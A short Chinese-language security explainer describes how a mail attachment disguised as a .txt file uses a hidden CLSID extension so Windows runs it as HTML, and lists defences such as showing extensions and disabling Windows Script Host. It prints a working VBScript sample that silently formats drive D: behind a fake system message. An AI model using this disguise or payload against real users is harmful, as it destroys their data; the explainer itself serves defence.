收到郵件附件 QQ靚號放送.txt,直覺以為是純文字檔,雙擊開啟後卻觸發惡意程式碼,導致硬碟被格式化、植入後門或竊取資料。這類攻擊利用 Windows 預設「隱藏已知副檔名」特性,配合特殊 CLSID 副檔名偽裝,使惡意檔案外觀上顯示為 .txt,實際執行時卻以 HTML/Script 方式運行。
真實檔名:QQ靚號放送.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}
{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} 是註冊表中 HTML 檔案關聯的 CLSID(Class Identifier)。mshtml.dll(Internet Explorer 渲染引擎)或預設瀏覽器解析執行。QQ靚號放送.txt。<script language="VBScript">
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("WScript.Shell")
ws.Run "cmd /c format d: /q /x", 0, True
MsgBox "Windows is configuring the system. Please do not interrupt this process."
</script>
關鍵點:
WScript.Shell(WSH)提供系統級命令執行能力(執行 cmd.exe、讀寫註冊表、建立捷徑、存取環境變數等)。FileSystemObject 可操作檔案系統(刪除、複製、格式化)。<script> 標籤中,瀏覽器渲染時自動執行。Windows 依副檔名(含 CLSID 部分)決定關聯程式。因真實副檔名為 CLSID,系統視為 HTML 檔,呼叫 HTML 渲染引擎,進而執行腳本。記事本 不會 被呼叫。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled = 0(可能影響合法腳本)。wscript.exe、cscript.exe、mshta.exe 僅允許簽名腳本執行。「看到 .txt 就安全」是危險迷思。攻擊者善用作業系統特性與使用者習慣差距發動攻擊。顯示副檔名、拒絕直接執行附件、部署多層防禦,才能有效化解此類偽裝威脅。